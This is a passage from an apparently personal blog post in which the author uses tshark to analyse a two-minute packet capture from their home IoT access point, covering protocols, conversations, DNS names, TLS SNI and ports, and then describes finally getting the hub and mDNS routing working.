</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">118</span> TIME_WAIT src<span style="color:#f92672">=</span>192.168.50.104 dst<span style="color:#f92672">=</span>3.217.113.91 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">49708</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">443</span> src<span style="color:#f92672">=</span>3.217.113.91 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">443</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">49708</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><h3 id="5-part-of-raw-packet-capture">5) Part of Raw packet capture</h3>
<ul>
<li>What’s inside?</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>tshark -r iot_ap_120s.pcap -q -z io,stat,60
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">==================================</span>
</span></span><span style="display:flex;"><span>| IO Statistics                  |
</span></span><span style="display:flex;"><span>|                                |
</span></span><span style="display:flex;"><span>| Duration: 119.773534 secs      |
</span></span><span style="display:flex;"><span>| Interval:  <span style="color:#ae81ff">60</span> secs             |
</span></span><span style="display:flex;"><span>|                                |
</span></span><span style="display:flex;"><span>| Col 1: Frames and bytes        |
</span></span><span style="display:flex;"><span>|--------------------------------|
</span></span><span style="display:flex;"><span>|            |<span style="color:#ae81ff">1</span>                  |
</span></span><span style="display:flex;"><span>| Interval   | Frames |   Bytes  |
</span></span><span style="display:flex;"><span>|--------------------------------|
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">0</span> &lt;&gt;  <span style="color:#ae81ff">60</span> |    <span style="color:#ae81ff">400</span> |    <span style="color:#ae81ff">60449</span> |
</span></span><span style="display:flex;"><span>|  <span style="color:#ae81ff">60</span> &lt;&gt; Dur |  <span style="color:#ae81ff">24672</span> | <span style="color:#ae81ff">30179911</span> |
</span></span><span style="display:flex;"><span><span style="color:#f92672">==================================</span>
</span></span></code></pre></div><ul>
<li>Protocol hierarchy (what kinds of traffic?)</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ tshark -r iot_ap_120s.pcap -q -z io,phs
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">===================================================================</span>
</span></span><span style="display:flex;"><span>Protocol Hierarchy Statistics
</span></span><span style="display:flex;"><span>Filter: 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>eth                                      frames:25072 bytes:30240360
</span></span><span style="display:flex;"><span>  ip                                     frames:24706 bytes:30195993
</span></span><span style="display:flex;"><span>    udp                                  frames:349 bytes:94583
</span></span><span style="display:flex;"><span>      mdns                               frames:241 bytes:60693
</span></span><span style="display:flex;"><span>      data                               frames:32 bytes:2240
</span></span><span style="display:flex;"><span>      quic                               frames:76 bytes:31650
</span></span><span style="display:flex;"><span>        quic                             frames:2 bytes:2484
</span></span><span style="display:flex;"><span>    tcp                                  frames:24353 bytes:30101226
</span></span><span style="display:flex;"><span>      tls                                frames:2413 bytes:3493680
</span></span><span style="display:flex;"><span>        tcp.segments                     frames:2256 bytes:3378795
</span></span><span style="display:flex;"><span>          tls                            frames:2222 bytes:3353799
</span></span><span style="display:flex;"><span>      data                               frames:147 bytes:71717
</span></span><span style="display:flex;"><span>      tcp.segments                       frames:5 bytes:7550
</span></span><span style="display:flex;"><span>    igmp                                 frames:4 bytes:184
</span></span><span style="display:flex;"><span>  arp                                    frames:150 bytes:6300
</span></span><span style="display:flex;"><span>  ipv6                                   frames:216 bytes:38067
</span></span><span style="display:flex;"><span>    icmpv6                               frames:124 bytes:10704
</span></span><span style="display:flex;"><span>    udp                                  frames:79 bytes:25415
</span></span><span style="display:flex;"><span>      data                               frames:2 bytes:132
</span></span><span style="display:flex;"><span>      mdns                               frames:77 bytes:25283
</span></span><span style="display:flex;"><span>    tcp                                  frames:13 bytes:1948
</span></span><span style="display:flex;"><span>      data                               frames:1 bytes:90
</span></span><span style="display:flex;"><span><span style="color:#f92672">===================================================================</span>
</span></span></code></pre></div><ul>
<li>Top IP conversations (who talked to whom?)</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
</span></span><span style="display:flex;"><span><span style="color:#f92672">================================================================================</span>
</span></span><span style="display:flex;"><span>IPv4 Conversations
</span></span><span style="display:flex;"><span>Filter:&lt;No Filter&gt;
</span></span><span style="display:flex;"><span>                                               |       &lt;-      | |       -&gt;      | |     Total     |    Relative    |   Duration   |
</span></span><span style="display:flex;"><span>                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 17.253.37.195          <span style="color:#ae81ff">19588</span> <span style="color:#ae81ff">29</span> MB        <span style="color:#ae81ff">3912</span> <span style="color:#ae81ff">286</span> kB      <span style="color:#ae81ff">23500</span> <span style="color:#ae81ff">29</span> MB        72.555738000        21.8560
</span></span><span style="display:flex;"><span>192.168.50.1         &lt;-&gt; 192.168.50.202           <span style="color:#ae81ff">239</span> <span style="color:#ae81ff">74</span> kB         <span style="color:#ae81ff">238</span> <span style="color:#ae81ff">46</span> kB         <span style="color:#ae81ff">477</span> <span style="color:#ae81ff">120</span> kB        0.293866000       119.4797
</span></span><span style="display:flex;"><span>192.168.50.1         &lt;-&gt; 224.0.0.251                <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> bytes       <span style="color:#ae81ff">118</span> <span style="color:#ae81ff">28</span> kB         <span style="color:#ae81ff">118</span> <span style="color:#ae81ff">28</span> kB         0.000000000       119.7310
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 1.1.1.1                   <span style="color:#ae81ff">40</span> <span style="color:#ae81ff">20</span> kB          <span style="color:#ae81ff">36</span> <span style="color:#ae81ff">10</span> kB          <span style="color:#ae81ff">76</span> <span style="color:#ae81ff">31</span> kB        72.033321000        30.3367
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 2.19.120.151              <span style="color:#ae81ff">47</span> <span style="color:#ae81ff">44</span> kB          <span style="color:#ae81ff">29</span> 8,460 bytes      <span style="color:#ae81ff">76</span> <span style="color:#ae81ff">53</span> kB        72.062807000        14.8525
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 17.56.138.35              <span style="color:#ae81ff">27</span> 7,602 bytes      <span style="color:#ae81ff">33</span> <span style="color:#ae81ff">13</span> kB          <span style="color:#ae81ff">60</span> <span style="color:#ae81ff">20</span> kB        72.107270000        15.0196
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 17.253.53.203             <span style="color:#ae81ff">17</span> 7,040 bytes      <span style="color:#ae81ff">23</span> 9,256 bytes      <span style="color:#ae81ff">40</span> <span style="color:#ae81ff">16</span> kB        72.326823000        10.5130
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 54.217.122.41             <span style="color:#ae81ff">19</span> 6,271 bytes      <span style="color:#ae81ff">18</span> 6,122 bytes      <span style="color:#ae81ff">37</span> <span style="color:#ae81ff">12</span> kB       102.352119000         0.3678
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 17.253.53.202             <span style="color:#ae81ff">19</span> <span style="color:#ae81ff">22</span> kB          <span style="color:#ae81ff">17</span> 3,099 bytes      <span style="color:#ae81ff">36</span> <span style="color:#ae81ff">25</span> kB        81.940717000         0.3208
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 23.58.105.122             <span style="color:#ae81ff">19</span> 9,936 bytes      <span style="color:#ae81ff">16</span> 5,759 bytes      <span style="color:#ae81ff">35</span> <span style="color:#ae81ff">15</span> kB        72.225431000         9.6434
</span></span><span style="display:flex;"><span>192.168.50.104       &lt;-&gt; 255.255.255.255            <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> bytes        <span style="color:#ae81ff">32</span> 2,240 bytes      <span style="color:#ae81ff">32</span> 2,240 bytes    50.628126000        65.2664
</span></span><span style="display:flex;"><span>17.242.218.132       &lt;-&gt; 192.168.50.202            <span style="color:#ae81ff">12</span> 1,701 bytes      <span style="color:#ae81ff">13</span> 1,802 bytes      <span style="color:#ae81ff">25</span> 3,503 bytes    20.967857000        62.0463
</span></span><span style="display:flex;"><span>192.168.50.189       &lt;-&gt; 3.122.71.119               <span style="color:#ae81ff">8</span> <span style="color:#ae81ff">639</span> bytes      <span style="color:#ae81ff">13</span> <span style="color:#ae81ff">978</span> bytes      <span style="color:#ae81ff">21</span> 1,617 bytes     1.112174000       108.8174
</span></span><span style="display:flex;"><span>192.168.50.131       &lt;-&gt; 224.0.0.251                <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> bytes        <span style="color:#ae81ff">20</span> 6,092 bytes      <span style="color:#ae81ff">20</span> 6,092 bytes    19.033978000        79.6932
</span></span><span style="display:flex;"><span>192.168.50.118       &lt;-&gt; 224.0.0.251                <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> bytes        <span style="color:#ae81ff">20</span> 6,092 bytes      <span style="color:#ae81ff">20</span> 6,092 bytes    79.030835000        19.7664
</span></span><span style="display:flex;"><span>192.168.50.233       &lt;-&gt; 224.0.0.251                <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> bytes        <span style="color:#ae81ff">20</span> 6,052 bytes      <span style="color:#ae81ff">20</span> 6,052 bytes    79.031250000        19.7814
</span></span><span style="display:flex;"><span>192.168.50.196       &lt;-&gt; 18.196.19.65               <span style="color:#ae81ff">8</span> <span style="color:#ae81ff">570</span> bytes      <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">678</span> bytes      <span style="color:#ae81ff">18</span> 1,248 bytes     4.963201000       107.5242
</span></span><span style="display:flex;"><span>192.168.50.216       &lt;-&gt; 224.0.0.251                <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> bytes        <span style="color:#ae81ff">12</span> 3,880 bytes      <span style="color:#ae81ff">12</span> 3,880 bytes    98.049857000         4.2949
</span></span><span style="display:flex;"><span>192.168.50.134       &lt;-&gt; 161.117.178.131            <span style="color:#ae81ff">5</span> <span style="color:#ae81ff">391</span> bytes       <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">960</span> bytes       <span style="color:#ae81ff">9</span> 1,351 bytes    15.392290000        60.5936
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 192.168.50.189             <span style="color:#ae81ff">4</span> 1,300 bytes       <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">312</span> bytes       <span style="color:#ae81ff">8</span> 1,612 bytes    26.274469000        93.2919
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 192.168.50.118             <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">406</span> bytes       <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">402</span> bytes       <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">808</span> bytes    17.999757000        60.1593
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 192.168.50.131             <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">406</span> bytes       <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">402</span> bytes       <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">808</span> bytes    17.999812000        60.1593
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 192.168.50.233             <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">406</span> bytes       <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">402</span> bytes       <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">808</span> bytes    17.999825000        60.1592
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 192.168.50.196             <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">975</span> bytes       <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">234</span> bytes       <span style="color:#ae81ff">6</span> 1,209 bytes    30.223646000        89.3442
</span></span><span style="display:flex;"><span>192.168.50.216       &lt;-&gt; 192.168.50.233             <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">888</span> bytes       <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">162</span> bytes       <span style="color:#ae81ff">6</span> 1,050 bytes    98.322145000         0.1456
</span></span><span style="display:flex;"><span>192.168.50.216       &lt;-&gt; 192.168.50.202             <span style="color:#ae81ff">1</span> 1,092 bytes       <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">336</span> bytes       <span style="color:#ae81ff">5</span> 1,428 bytes    98.319211000         0.2939
</span></span><span style="display:flex;"><span>192.168.50.216       &lt;-&gt; 192.168.50.1               <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> bytes         <span style="color:#ae81ff">5</span> <span style="color:#ae81ff">455</span> bytes       <span style="color:#ae81ff">5</span> <span style="color:#ae81ff">455</span> bytes    98.319329000         0.2505
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 17.253.53.201              <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">148</span> bytes       <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">132</span> bytes       <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">280</span> bytes    81.716483000         1.0465
</span></span><span style="display:flex;"><span>192.168.50.202       &lt;-&gt; 192.168.50.104             <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">818</span> bytes       <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">156</span> bytes       <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">974</span> bytes    87.030561000         0.0107
</span></span><span style="display:flex;"><span>192.168.50.216       &lt;-&gt; 192.168.50.131             <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">718</span> bytes       <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">75</span> bytes        <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">793</span> bytes    98.321918000         0.1421
</span></span><span style="display:flex;"><span>192.168.50.216       &lt;-&gt; 192.168.50.118             <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">718</span> bytes       <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">75</span> bytes        <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">793</span> bytes    98.322266000         0.1420
</span></span><span style="display:flex;"><span>192.168.50.216       &lt;-&gt; 17.57.146.25               <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">90</span> bytes        <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">172</span> bytes       <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">262</span> bytes    98.048979000         0.0384
</span></span><span style="display:flex;"><span>192.168.50.216       &lt;-&gt; 192.168.50.134             <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">790</span> bytes       <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">75</span> bytes        <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">865</span> bytes    98.321779000         0.2550
</span></span><span style="display:flex;"><span>192.168.50.216       &lt;-&gt; 224.0.0.2                  <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> bytes         <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">92</span> bytes        <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">92</span> bytes     98.049757000         0.0001
</span></span><span style="display:flex;"><span>192.168.50.216       &lt;-&gt; 10.172.72.196              <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">66</span> bytes        <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">70</span> bytes        <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">136</span> bytes    98.664295000         0.0060
</span></span><span style="display:flex;"><span><span style="color:#f92672">================================================================================</span>
</span></span></code></pre></div><ul>
<li>Fast “top talkers” table (by source IP)</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  | awk <span style="color:#e6db74">&#39;NF==2{b[$1]+=$2} END{for (h in b) printf &#34;%-16s %12d\n&#34;, h, b[h]}&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  | sort -k2,2nr | head -n <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span>17.253.37.195        <span style="color:#ae81ff">29540349</span>
</span></span><span style="display:flex;"><span>192.168.50.202         <span style="color:#ae81ff">422414</span>
</span></span><span style="display:flex;"><span>192.168.50.1            <span style="color:#ae81ff">75521</span>
</span></span><span style="display:flex;"><span>2.19.120.151            <span style="color:#ae81ff">44554</span>
</span></span><span style="display:flex;"><span>17.253.53.202           <span style="color:#ae81ff">22016</span>
</span></span><span style="display:flex;"><span>1.1.1.1                 <span style="color:#ae81ff">20675</span>
</span></span><span style="display:flex;"><span>23.58.105.122            <span style="color:#ae81ff">9936</span>
</span></span><span style="display:flex;"><span>17.56.138.35             <span style="color:#ae81ff">7602</span>
</span></span><span style="display:flex;"><span>192.168.50.233           <span style="color:#ae81ff">7346</span>
</span></span><span style="display:flex;"><span>192.168.50.118           <span style="color:#ae81ff">7216</span>
</span></span><span style="display:flex;"><span>192.168.50.131           <span style="color:#ae81ff">7216</span>
</span></span><span style="display:flex;"><span>17.253.53.203            <span style="color:#ae81ff">7040</span>
</span></span><span style="display:flex;"><span>54.217.122.41            <span style="color:#ae81ff">6271</span>
</span></span><span style="display:flex;"><span>192.168.50.216           <span style="color:#ae81ff">5392</span>
</span></span><span style="display:flex;"><span>192.168.50.104           <span style="color:#ae81ff">3058</span>
</span></span><span style="display:flex;"><span>192.168.50.189           <span style="color:#ae81ff">2278</span>
</span></span><span style="display:flex;"><span>17.242.218.132           <span style="color:#ae81ff">1802</span>
</span></span><span style="display:flex;"><span>192.168.50.134           <span style="color:#ae81ff">1750</span>
</span></span><span style="display:flex;"><span>192.168.50.196           <span style="color:#ae81ff">1653</span>
</span></span><span style="display:flex;"><span>3.122.71.119              <span style="color:#ae81ff">639</span>
</span></span></code></pre></div><ul>
<li>DNS &amp; mDNS highlights (what names show up?)</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># DNS queries (unicast)</span>
</span></span><span style="display:flex;"><span>❯ tshark -r iot_ap_120s.pcap -Y <span style="color:#e6db74">&#34;dns.flags.response==0&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom <span style="color:#f92672">(</span>3<span style="color:#f92672">)</span>._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:49.619376000 CET	192.168.50.1	Main Bedroom <span style="color:#f92672">(</span>3<span style="color:#f92672">)</span>._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
</span></span><span style="display:flex;"><span>Nov 23, <span style="color:#ae81ff">2025</span> 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># mDNS service announcements (AirPlay/HomeKit live here)</span>
</span></span><span style="display:flex;"><span>❯ tshark -r iot_ap_120s.pcap  -Y <span style="color:#e6db74">&#34;udp.port==5353 &amp;&amp; dns&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  | head -n <span style="color:#ae81ff">30</span>
</span></span></code></pre></div><p>The latter had no output as I wasn&rsquo;t able to make that work with a static route and relied on Tailscale. (?)</p>
<ul>
<li>TLS SNI (which cloud endpoints?)</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ tshark -r iot_ap_120s.pcap -Y <span style="color:#e6db74">&#34;tls.handshake.extensions_server_name&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -T fields -e ip.dst -e tls.handshake.extensions_server_name <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  | sort | uniq -c | sort -k1,1nr | head -n <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">1</span> 1.1.1.1	one.one.one.one
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">1</span> 17.253.37.195	streamingaudio.itunes.apple.com
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">1</span> 17.253.53.202	pancake.apple.com
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">1</span> 17.253.53.203	radio-activity.itunes.apple.com
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">1</span> 17.56.138.35	cma.itunes.apple.com
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">1</span> 2.19.120.151	play.itunes.apple.com
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">1</span> 23.58.105.122	librarydaap.itunes.apple.com
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">1</span> 54.217.122.41	guzzoni.apple.com
</span></span></code></pre></div><ul>
<li>Ports in use (quick heat check)</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  | awk <span style="color:#e6db74">&#39;{for(i=1;i&lt;=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf &#34;%-8s %8d\n&#34;, k, p[k]}&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  | sort -k2,2nr | head -n <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">64725</span>       <span style="color:#ae81ff">19588</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">443</span>          <span style="color:#ae81ff">4086</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">5353</span>          <span style="color:#ae81ff">318</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">49395</span>         <span style="color:#ae81ff">109</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">7000</span>          <span style="color:#ae81ff">109</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">55514</span>         <span style="color:#ae81ff">102</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">55510</span>         <span style="color:#ae81ff">101</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">64721</span>          <span style="color:#ae81ff">47</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">54806</span>          <span style="color:#ae81ff">40</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">20002</span>          <span style="color:#ae81ff">32</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">64722</span>          <span style="color:#ae81ff">27</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">8883</span>           <span style="color:#ae81ff">23</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">49154</span>          <span style="color:#ae81ff">21</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">55515</span>          <span style="color:#ae81ff">21</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">64723</span>          <span style="color:#ae81ff">19</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">64728</span>          <span style="color:#ae81ff">19</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">64729</span>          <span style="color:#ae81ff">19</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">5223</span>           <span style="color:#ae81ff">14</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">64724</span>          <span style="color:#ae81ff">14</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">64686</span>          <span style="color:#ae81ff">13</span>
</span></span></code></pre></div><hr>
<h2 id="epilogue">Epilogue</h2>
<p>I&rsquo;ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let&rsquo;s cross our fingers and hope this setup finally works nicely.</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/house_upgrade.md">Markdown</a> ·
    <a href="/sources/posts/house_upgrade.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7&#43;W6iPkxjXU5ju4yaRyJ3LGP
ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT&#43;cqAgRVN4SaYrRg&#43;dV&#43;kRCA
dnFuXXJBvo9y/QYk&#43;SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
